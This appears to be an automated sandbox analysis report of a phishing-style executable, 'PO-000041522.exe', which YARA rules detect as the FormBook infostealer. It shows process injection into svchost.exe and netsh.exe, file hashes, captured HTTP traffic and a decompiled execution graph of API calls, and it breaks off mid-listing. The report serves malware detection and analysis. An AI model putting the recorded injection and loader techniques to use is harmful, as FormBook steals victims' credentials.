                                                                                              Data Ascii: 4b36<!DOCTYPE html><html lang="en"><head> <title>Active24</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0" /> <meta name="format-detection" content="telephone=no"> <meta name="keywords" content=""> <meta name="description" content=""> <base href="https://cdn.active24.eu"> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link rel="shortcut icon" type="image/x-icon" href="/logos/favicon.ico"> <style> @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Regular.otf') format("opentype"), url('https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2') format("woff2"); font-weight: 400; font-display: swap; } @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Medium.otf') format("opentype"), url('https://cdn.active24.eu/fonts [TRUNCATED]
                                                                                              Oct 23, 2024 17:34:56.486627102 CEST1236INData Raw: 64 69 75 6d 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70
                                                                                              Data Ascii: dium.woff2') format("woff2"); font-weight: 500; font-display: swap; } @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Bold.otf') format("opentype"),
                                                                                              Oct 23, 2024 17:34:56.486669064 CEST424INData Raw: 29 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 68 74 6d 6c 2c 20 62 6f 64 79 2e 75 70 2c 20 2e 75 70 20 64 69 76 2c 20 2e 75 70 20 73 70 61 6e 2c 20 2e 75 70 20 61 70 70 6c 65 74 2c 20 2e 75 70 20 6f 62 6a 65 63 74 2c 20 2e 75 70 20 69 66 72 61 6d
                                                                                              Data Ascii: ); } .up html, body.up, .up div, .up span, .up applet, .up object, .up iframe, .up a, .up img, .up select, .up input, .up option { margin: 0; padding: 0; border: 0; outline: 0; } .up html { -webkit-text-size-adjust: none; } .
                                                                                              Oct 23, 2024 17:34:56.486702919 CEST1236INData Raw: 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 61 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 69 6d 67 20 7b 20 62 6f 72 64 65 72 3a 20 30 20 6e
                                                                                              Data Ascii: e !important; } .up a { text-decoration: none; } .up img { border: 0 none; max-width: 100%; vertical-align: top; } .up a { outline: none; cursor: pointer; } .up a:hover { text-decoration: none; } .up a:focus { tex
                                                                                              Oct 23, 2024 17:34:56.486738920 CEST1236INData Raw: 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 74 65 78 74 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 62 67 29 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 41 72 69 61 6c 22 2c 20
                                                                                              Data Ascii: font-size: 16px; color: var(--text); background: var(--bg); font-family: "Arial", sans-serif; font-weight: 400; overflow-x: hidden;} .up .wrapper {width: 100%; min-height: 100vh;display: flex;justify-content: center;align-items:
                                                                                              Oct 23, 2024 17:34:56.486772060 CEST424INData Raw: 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 77 69 64 74 68 3a 20 31 30 30 25 3b 7d 0a 20 20 20 20 20 20 2e 75 70 20 2e 63 6f 6e 74 65 6e 74 20
                                                                                              Data Ascii: n-items: center;padding: 10px 0;max-width: 450px;width: 100%;} .up .content .bottom_blk ul {list-style: none;} .up .content .bottom_blk .social_blk ul {display: flex;} .up .content .bottom_blk .social_blk ul li:first-child {m
                                                                                              Oct 23, 2024 17:34:56.486813068 CEST1236INData Raw: 72 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 34 32 70 78 3b 7d 0a 20 20 20 20 20 20 2e 75 70 20 2e 63 6f 6e 74 65 6e 74 20 2e 62 6f 74 74 6f 6d 5f 62 6c 6b 20 2e 73 6f 63 69 61 6c 5f 62 6c 6b 20
                                                                                              Data Ascii: r;font-weight: 400;margin-left: 42px;} .up .content .bottom_blk .social_blk ul li a {color: var(--text);transition: color 150ms ease-in-out} .up .content .bottom_blk .social_blk ul li a:focus,.up .content .bottom_blk .social_blk ul
                                                                                              Oct 23, 2024 17:34:56.486841917 CEST212INData Raw: 74 74 6f 6d 3a 20 37 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 63 6f 6e 74 65 6e 74 20 70 20 7b
                                                                                              Data Ascii: ttom: 7px;text-align: left;font-weight: bold;} .page.up .imgblk .content p {font-family: 'Arial', sans-serif; font-size: 18px;text-align: left;margin: 0 0 24px 0;} .page.up .imgblk .content p a {color
                                                                                              Oct 23, 2024 17:34:56.486876011 CEST1236INData Raw: 3a 20 76 61 72 28 2d 2d 61 32 34 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 2d 34 30 29 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 20 63 6f 6c 6f 72 20 31 35 30 6d 73 20 65
                                                                                              Data Ascii: : var(--a24-primary-hover-40);text-decoration: underline;transition: color 150ms ease-in-out} .page.up .imgblk .content p a:focus,.page.up .imgblk .content p a:hover {color:var(--a24-primary-hover);} .page.up .imgblk .imgbox {margi
                                                                                              Oct 23, 2024 17:34:56.486908913 CEST212INData Raw: 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 66 6f 72 6d 20 2e 73 65 61 72 63 68 5f 62 74 6e 20 69 6d 67 20 7b 6d 61 78 2d 77 69 64 74 68 3a 20 32 34 70 78 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 73 65 61 72 63 68 5f 62
                                                                                              Data Ascii: ;} .page.up form .search_btn img {max-width: 24px;} .page.up .search_blk {margin: 64px 0 110px 0;} .page.up .btn_all {text-align: left;margin-bottom: 65px;} .page.up .btn_all a.btn {font-f
                                                                                              Oct 23, 2024 17:34:56.492440939 CEST1236INData Raw: 61 6d 69 6c 79 3a 20 27 41 63 74 69 76 65 32 34 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 20 20 20 3b 63 6f 6c 6f 72 3a 20 23 33 43 30 35 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74
                                                                                              Data Ascii: amily: 'Active24', Arial, sans-serif ;color: #3C0500;font-size: 16px;line-height:1.25;font-weight: 600; padding: 14px 26px 14px;text-align: center;display: inline-block;border-radius: 6px;position: relative;z-index: 0;} .page.u


                                                                                              Click to jump to process

                                                                                              Click to jump to process

                                                                                              Click to dive into process behavior distribution

                                                                                              Click to jump to process

                                                                                              Target ID:0
                                                                                              Start time:11:31:54
                                                                                              Start date:23/10/2024
                                                                                              Path:C:\Users\user\Desktop\PO-000041522.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:"C:\Users\user\Desktop\PO-000041522.exe"
                                                                                              Imagebase:0x400000
                                                                                              File size:1'320'545 bytes
                                                                                              MD5 hash:67DA9BD36690B49A4FDE479AF5FDA318
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:low
                                                                                              Has exited:true

                                                                                              Target ID:2
                                                                                              Start time:11:31:56
                                                                                              Start date:23/10/2024
                                                                                              Path:C:\Windows\SysWOW64\svchost.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:"C:\Users\user\Desktop\PO-000041522.exe"
                                                                                              Imagebase:0x7a0000
                                                                                              File size:46'504 bytes
                                                                                              MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                              Has elevated privileges:true
                                                                                              Has administrator privileges:true
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                              Reputation:high
                                                                                              Has exited:true

                                                                                              Target ID:9
                                                                                              Start time:11:31:59
                                                                                              Start date:23/10/2024
                                                                                              Path:C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:"C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe"
                                                                                              Imagebase:0x5a0000
                                                                                              File size:140'800 bytes
                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                                              Reputation:high
                                                                                              Has exited:false

                                                                                              Target ID:11
                                                                                              Start time:11:32:01
                                                                                              Start date:23/10/2024
                                                                                              Path:C:\Windows\SysWOW64\netsh.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:"C:\Windows\SysWOW64\netsh.exe"
                                                                                              Imagebase:0x1770000
                                                                                              File size:82'432 bytes
                                                                                              MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language
                                                                                              Yara matches:
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                              • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                              • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                              Reputation:high
                                                                                              Has exited:false

                                                                                              Target ID:13
                                                                                              Start time:11:32:15
                                                                                              Start date:23/10/2024
                                                                                              Path:C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              Wow64 process (32bit):true
                                                                                              Commandline:"C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe"
                                                                                              Imagebase:0x5a0000
                                                                                              File size:140'800 bytes
                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high
                                                                                              Has exited:false

                                                                                              Target ID:15
                                                                                              Start time:12:42:24
                                                                                              Start date:23/10/2024
                                                                                              Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                              Wow64 process (32bit):false
                                                                                              Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                              Imagebase:0x7ff722870000
                                                                                              File size:676'768 bytes
                                                                                              MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                              Has elevated privileges:false
                                                                                              Has administrator privileges:false
                                                                                              Programmed in:C, C++ or other language
                                                                                              Reputation:high
                                                                                              Has exited:true

                                                                                              Reset < >

                                                                                                Execution Graph

                                                                                                Execution Coverage:3%
                                                                                                Dynamic/Decrypted Code Coverage:1.3%
                                                                                                Signature Coverage:3.8%
                                                                                                Total number of Nodes:1399
                                                                                                Total number of Limit Nodes:32
                                                                                                execution_graph 84773 40f110 RegOpenKeyExW 84774 40f13c RegQueryValueExW RegCloseKey 84773->84774 84775 40f15f 84773->84775 84774->84775 84776 429212 84781 410b90 84776->84781 84782 410b9a __write_nolock 84781->84782 84801 41171a 84782->84801 84786 410c66 _wcsncat 84816 413e3c 84786->84816 84789 41171a 75 API calls 84790 410ca3 _wcscpy 84789->84790 84791 410cd1 RegOpenKeyExW 84790->84791 84792 429bc3 RegQueryValueExW 84791->84792 84793 410cf7 84791->84793 84794 429cd9 RegCloseKey 84792->84794 84796 429bf2 _wcscat _wcslen _wcsncpy 84792->84796 84798 411421 84793->84798 84795 41171a 75 API calls 84795->84796 84796->84795 84797 429cd8 84796->84797 84797->84794 84891 4113e5 84798->84891 84800 41142e 84803 411724 84801->84803 84804 410c31 GetModuleFileNameW 84803->84804 84807 411740 std::bad_alloc::bad_alloc 84803->84807 84819 4138ba 84803->84819 84837 411afc 6 API calls __decode_pointer 84803->84837 84813 413db0 84804->84813 84809 411421 __cinit 74 API calls 84807->84809 84811 411766 84807->84811 84808 411770 84839 41805b RaiseException 84808->84839 84809->84811 84838 4116fd 67 API calls std::exception::exception 84811->84838 84812 41177e 84849 413b95 84813->84849 84879 41abec 84816->84879 84820 41396d 84819->84820 84833 4138cc 84819->84833 84847 411afc 6 API calls __decode_pointer 84820->84847 84822 413973 84848 417f23 67 API calls __getptd_noexit 84822->84848 84827 413929 RtlAllocateHeap 84827->84833 84829 4138dd 84829->84833 84840 418252 67 API calls 2 library calls 84829->84840 84841 4180a7 67 API calls 7 library calls 84829->84841 84842 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84829->84842 84830 413959 84845 417f23 67 API calls __getptd_noexit 84830->84845 84833->84827 84833->84829 84833->84830 84834 41395e 84833->84834 84836 413965 84833->84836 84843 41386b 67 API calls 4 library calls 84833->84843 84844 411afc 6 API calls __decode_pointer 84833->84844 84846 417f23 67 API calls __getptd_noexit 84834->84846 84836->84803 84837->84803 84838->84808 84839->84812 84840->84829 84841->84829 84843->84833 84844->84833 84845->84834 84846->84836 84847->84822 84848->84836 84850 413bae 84849->84850 84851 413c2f 84849->84851 84850->84851 84865 413c1d 84850->84865 84871 41ab19 67 API calls __lseeki64 84850->84871 84852 413d60 84851->84852 84853 413d7b 84851->84853 84875 417f23 67 API calls __getptd_noexit 84852->84875 84877 417f23 67 API calls __getptd_noexit 84853->84877 84856 413d65 84861 413cfb 84856->84861 84876 417ebb 6 API calls 2 library calls 84856->84876 84859 413d03 84859->84851 84859->84861 84862 413d8e 84859->84862 84860 413cb9 84860->84851 84863 413cd6 84860->84863 84873 41ab19 67 API calls __lseeki64 84860->84873 84861->84786 84878 41ab19 67 API calls __lseeki64 84862->84878 84863->84851 84863->84861 84867 413cef 84863->84867 84865->84851 84870 413c9b 84865->84870 84872 41ab19 67 API calls __lseeki64 84865->84872 84874 41ab19 67 API calls __lseeki64 84867->84874 84870->84859 84870->84860 84871->84865 84872->84870 84873->84863 84874->84861 84875->84856 84877->84856 84878->84861 84880 41ac02 84879->84880 84881 41abfd 84879->84881 84888 417f23 67 API calls __getptd_noexit 84880->84888 84881->84880 84883 41ac22 84881->84883 84885 410c99 84883->84885 84890 417f23 67 API calls __getptd_noexit 84883->84890 84885->84789 84887 41ac07 84889 417ebb 6 API calls 2 library calls 84887->84889 84888->84887 84890->84887 84892 4113f1 __lseeki64 84891->84892 84899 41181b 84892->84899 84898 411412 __lseeki64 84898->84800 84925 418407 84899->84925 84901 4113f6 84902 4112fa 84901->84902 84990 4169e9 TlsGetValue 84902->84990 84905 4169e9 __decode_pointer 6 API calls 84906 41131e 84905->84906 84907 4113a1 84906->84907 85000 4170e7 68 API calls 4 library calls 84906->85000 84922 41141b 84907->84922 84909 41133c 84910 411388 84909->84910 84912 411357 84909->84912 84913 411366 84909->84913 84911 41696e __encode_pointer 6 API calls 84910->84911 84914 411396 84911->84914 85001 417047 73 API calls _realloc 84912->85001 84913->84907 84916 411360 84913->84916 84917 41696e __encode_pointer 6 API calls 84914->84917 84916->84913 84919 41137c 84916->84919 85002 417047 73 API calls _realloc 84916->85002 84917->84907 85003 41696e TlsGetValue 84919->85003 84920 411376 84920->84907 84920->84919 85015 411824 84922->85015 84926 41841c 84925->84926 84927 41842f EnterCriticalSection 84925->84927 84932 418344 84926->84932 84927->84901 84929 418422 84929->84927 84960 4117af 67 API calls 3 library calls 84929->84960 84931 41842e 84931->84927 84933 418350 __lseeki64 84932->84933 84934 418360 84933->84934 84935 418378 84933->84935 84961 418252 67 API calls 2 library calls 84934->84961 84943 418386 __lseeki64 84935->84943 84964 416fb6 84935->84964 84938 418365 84962 4180a7 67 API calls 7 library calls 84938->84962 84941 4183a7 84946 418407 __lock 67 API calls 84941->84946 84942 418398 84970 417f23 67 API calls __getptd_noexit 84942->84970 84943->84929 84944 41836c 84963 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84944->84963 84949 4183ae 84946->84949 84950 4183e2 84949->84950 84951 4183b6 84949->84951 84952 413a88 __freefls@4 67 API calls 84950->84952 84971 4189e6 InitializeCriticalSectionAndSpinCount __lseeki64 84951->84971 84954 4183d3 84952->84954 84986 4183fe LeaveCriticalSection _doexit 84954->84986 84955 4183c1 84955->84954 84972 413a88 84955->84972 84958 4183cd 84985 417f23 67 API calls __getptd_noexit 84958->84985 84960->84931 84961->84938 84962->84944 84967 416fbf 84964->84967 84965 4138ba _malloc 66 API calls 84965->84967 84966 416ff5 84966->84941 84966->84942 84967->84965 84967->84966 84968 416fd6 Sleep 84967->84968 84969 416feb 84968->84969 84969->84966 84969->84967 84970->84943 84971->84955 84974 413a94 __lseeki64 84972->84974 84973 413b0d __dosmaperr __lseeki64 84973->84958 84974->84973 84975 418407 __lock 65 API calls 84974->84975 84984 413ad3 84974->84984 84981 413aab ___sbh_find_block 84975->84981 84976 413ae8 RtlFreeHeap 84976->84973 84977 413afa 84976->84977 84989 417f23 67 API calls __getptd_noexit 84977->84989 84979 413aff GetLastError 84979->84973 84980 413ac5 84988 413ade LeaveCriticalSection _doexit 84980->84988 84981->84980 84987 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __shift 84981->84987 84984->84973 84984->84976 84985->84954 84986->84943 84987->84980 84988->84984 84989->84979 84991 416a01 84990->84991 84992 416a22 GetModuleHandleW 84990->84992 84991->84992 84993 416a0b TlsGetValue 84991->84993 84994 416a32 84992->84994 84995 416a3d GetProcAddress 84992->84995 84998 416a16 84993->84998 85013 41177f Sleep GetModuleHandleW 84994->85013 84997 41130e 84995->84997 84997->84905 84998->84992 84998->84997 84999 416a38 84999->84995 84999->84997 85000->84909 85001->84916 85002->84920 85004 4169a7 GetModuleHandleW 85003->85004 85005 416986 85003->85005 85007 4169c2 GetProcAddress 85004->85007 85008 4169b7 85004->85008 85005->85004 85006 416990 TlsGetValue 85005->85006 85011 41699b 85006->85011 85010 41699f 85007->85010 85014 41177f Sleep GetModuleHandleW 85008->85014 85010->84910 85011->85004 85011->85010 85012 4169bd 85012->85007 85012->85010 85013->84999 85014->85012 85018 41832d LeaveCriticalSection 85015->85018 85017 411420 85017->84898 85018->85017 85019 409030 85033 409110 117 API calls 85019->85033 85021 42ceb6 85047 410ae0 VariantClear moneypunct 85021->85047 85023 42cebf 85024 40906e 85024->85021 85025 42cea9 85024->85025 85027 4090a4 85024->85027 85046 45e62e 116 API calls 3 library calls 85025->85046 85034 404160 85027->85034 85030 4090f0 moneypunct 85032 4090be moneypunct 85032->85030 85042 4092c0 85032->85042 85033->85024 85035 4092c0 VariantClear 85034->85035 85036 40416e 85035->85036 85048 404120 85036->85048 85038 40419b 85052 4734b7 85038->85052 85096 40efe0 85038->85096 85039 4041c6 85039->85021 85039->85032 85043 4092c8 moneypunct 85042->85043 85044 429db0 VariantClear 85043->85044 85045 4092d5 moneypunct 85043->85045 85044->85045 85045->85032 85046->85021 85047->85023 85049 40412e 85048->85049 85050 4092c0 VariantClear 85049->85050 85051 404138 85050->85051 85051->85038 85104 453063 85052->85104 85055 473545 85108 463c42 85055->85108 85056 47350c 85057 4092c0 VariantClear 85056->85057 85066 473514 85057->85066 85059 473558 85060 473595 85059->85060 85061 47355c 85059->85061 85063 473616 85060->85063 85068 453063 111 API calls 85060->85068 85077 473655 85060->85077 85167 462f5a 87 API calls __wcsicoll 85060->85167 85062 4092c0 VariantClear 85061->85062 85064 473564 85062->85064 85121 463d7e 85063->85121 85064->85039 85066->85039 85067 473622 85069 473697 85067->85069 85070 47362c 85067->85070 85068->85060 85155 457838 85069->85155 85072 4092c0 VariantClear 85070->85072 85075 473634 85072->85075 85075->85039 85079 4092c0 VariantClear 85077->85079 85089 47365d 85079->85089 85080 4736b0 85168 45e62e 116 API calls 3 library calls 85080->85168 85081 4736c9 85169 40e7e0 76 API calls 85081->85169 85084 4736ba GetCurrentProcess TerminateProcess 85084->85081 85085 4736db 85092 4736ff 85085->85092 85170 40d030 76 API calls 85085->85170 85086 473731 85093 473744 FreeLibrary 85086->85093 85094 47374b 85086->85094 85088 4736f1 85171 46b945 134 API calls 2 library calls 85088->85171 85089->85039 85092->85086 85172 40d030 76 API calls 85092->85172 85173 46b945 134 API calls 2 library calls 85092->85173 85093->85094 85094->85039 85097 40eff5 CreateFileW 85096->85097 85098 4299bf 85096->85098 85099 40f017 85097->85099 85098->85099 85100 4299c4 CreateFileW 85098->85100 85099->85039 85100->85099 85101 4299ea 85100->85101 85218 40e0d0 SetFilePointerEx SetFilePointerEx 85101->85218 85103 4299f5 85103->85099 85105 45306e 85104->85105 85106 45307a 85104->85106 85105->85106 85174 452e2a 111 API calls 5 library calls 85105->85174 85106->85055 85106->85056 85175 45335b 76 API calls 85108->85175 85110 463c5d 85176 442c52 80 API calls _wcslen 85110->85176 85113 463c72 85120 463cac 85113->85120 85177 40c060 85113->85177 85117 463ca4 85183 40c740 85117->85183 85119 463cf7 85119->85059 85120->85119 85188 462f5a 87 API calls __wcsicoll 85120->85188 85122 453063 111 API calls 85121->85122 85123 463d99 85122->85123 85124 463de0 85123->85124 85125 463dca 85123->85125 85200 40c760 78 API calls 85124->85200 85199 453081 111 API calls 85125->85199 85128 463dd0 LoadLibraryW 85130 463e09 85128->85130 85129 463de7 85142 463e19 85129->85142 85201 40c760 78 API calls 85129->85201 85132 463e3e 85130->85132 85130->85142 85134 463e4e 85132->85134 85135 463e7b 85132->85135 85133 463dfb 85133->85142 85202 40c760 78 API calls 85133->85202 85203 40d500 75 API calls 85134->85203 85205 40c760 78 API calls 85135->85205 85139 463e82 GetProcAddress 85144 463e90 85139->85144 85140 463e57 85204 45efe7 77 API calls moneypunct 85140->85204 85142->85067 85143 463e62 GetProcAddress 85146 463e79 85143->85146 85144->85142 85145 463edf 85144->85145 85144->85146 85145->85142 85149 463eef FreeLibrary 85145->85149 85146->85144 85206 403470 75 API calls _memcpy_s 85146->85206 85148 463eb4 85207 40d500 75 API calls 85148->85207 85149->85142 85151 463ebd 85208 45efe7 77 API calls moneypunct 85151->85208 85153 463ec8 GetProcAddress 85209 401330 moneypunct 85153->85209 85156 457a4c 85155->85156 85158 45785f _strcat moneypunct _wcslen _wcscpy 85155->85158 85163 410d40 85156->85163 85157 443576 78 API calls 85157->85158 85158->85156 85158->85157 85159 40c760 78 API calls 85158->85159 85160 4138ba 67 API calls _malloc 85158->85160 85161 453081 111 API calls 85158->85161 85210 40f580 85158->85210 85159->85158 85160->85158 85161->85158 85164 410d55 85163->85164 85165 410ded VirtualProtect 85164->85165 85166 410dbb 85164->85166 85165->85166 85166->85080 85166->85081 85167->85060 85168->85084 85169->85085 85170->85088 85171->85092 85172->85092 85173->85092 85174->85106 85175->85110 85176->85113 85178 41171a 75 API calls 85177->85178 85179 40c088 85178->85179 85180 41171a 75 API calls 85179->85180 85181 40c096 85180->85181 85182 4608ce 75 API calls _memcpy_s 85181->85182 85182->85117 85184 40c752 85183->85184 85185 40c747 85183->85185 85184->85120 85185->85184 85189 402ae0 85185->85189 85187 42a572 _memcpy_s 85187->85120 85188->85119 85190 42a06a 85189->85190 85191 402aef 85189->85191 85196 401380 85190->85196 85191->85187 85193 42a072 85194 41171a 75 API calls 85193->85194 85195 42a095 _memcpy_s 85194->85195 85195->85187 85197 41171a 75 API calls 85196->85197 85198 401387 85197->85198 85198->85193 85199->85128 85200->85129 85201->85133 85202->85130 85203->85140 85204->85143 85205->85139 85206->85148 85207->85151 85208->85153 85209->85145 85211 429440 85210->85211 85212 40f589 _wcslen 85210->85212 85213 40f58f WideCharToMultiByte 85212->85213 85214 40f5d8 85213->85214 85215 40f5ad 85213->85215 85214->85158 85216 41171a 75 API calls 85215->85216 85217 40f5bb WideCharToMultiByte 85216->85217 85217->85158 85218->85103 85219 4034b0 85220 4034b9 85219->85220 85221 4034bd 85219->85221 85222 42a0ba 85221->85222 85223 41171a 75 API calls 85221->85223 85224 4034fe _memcpy_s moneypunct 85223->85224 85225 416193 85262 41718c 85225->85262 85227 41619f GetStartupInfoW 85229 4161c2 85227->85229 85263 41aa31 HeapCreate 85229->85263 85231 416212 85265 416e29 GetModuleHandleW 85231->85265 85235 416223 __RTC_Initialize 85299 41b669 85235->85299 85238 416231 85239 41623d GetCommandLineW 85238->85239 85368 4117af 67 API calls 3 library calls 85238->85368 85314 42235f GetEnvironmentStringsW 85239->85314 85242 41623c 85242->85239 85243 41624c 85320 4222b1 GetModuleFileNameW 85243->85320 85245 416256 85246 416261 85245->85246 85369 4117af 67 API calls 3 library calls 85245->85369 85324 422082 85246->85324 85250 416272 85337 41186e 85250->85337 85253 416279 85255 416284 __wwincmdln 85253->85255 85371 4117af 67 API calls 3 library calls 85253->85371 85343 40d7f0 85255->85343 85258 4162b3 85373 411a4b 67 API calls _doexit 85258->85373 85261 4162b8 __lseeki64 85262->85227 85264 416206 85263->85264 85264->85231 85366 41616a 67 API calls 3 library calls 85264->85366 85266 416e44 85265->85266 85267 416e3d 85265->85267 85269 416fac 85266->85269 85270 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85266->85270 85374 41177f Sleep GetModuleHandleW 85267->85374 85384 416ad5 70 API calls 2 library calls 85269->85384 85272 416e97 TlsAlloc 85270->85272 85271 416e43 85271->85266 85275 416218 85272->85275 85276 416ee5 TlsSetValue 85272->85276 85275->85235 85367 41616a 67 API calls 3 library calls 85275->85367 85276->85275 85277 416ef6 85276->85277 85375 411a69 6 API calls 3 library calls 85277->85375 85279 416efb 85280 41696e __encode_pointer 6 API calls 85279->85280 85281 416f06 85280->85281 85282 41696e __encode_pointer 6 API calls 85281->85282 85283 416f16 85282->85283 85284 41696e __encode_pointer 6 API calls 85283->85284 85285 416f26 85284->85285 85286 41696e __encode_pointer 6 API calls 85285->85286 85287 416f36 85286->85287 85376 41828b InitializeCriticalSectionAndSpinCount __ioinit 85287->85376 85289 416f43 85289->85269 85290 4169e9 __decode_pointer 6 API calls 85289->85290 85291 416f57 85290->85291 85291->85269 85377 416ffb 85291->85377 85294 4169e9 __decode_pointer 6 API calls 85295 416f8a 85294->85295 85295->85269 85296 416f91 85295->85296 85383 416b12 67 API calls 5 library calls 85296->85383 85298 416f99 GetCurrentThreadId 85298->85275 85403 41718c 85299->85403 85301 41b675 GetStartupInfoA 85302 416ffb __calloc_crt 67 API calls 85301->85302 85309 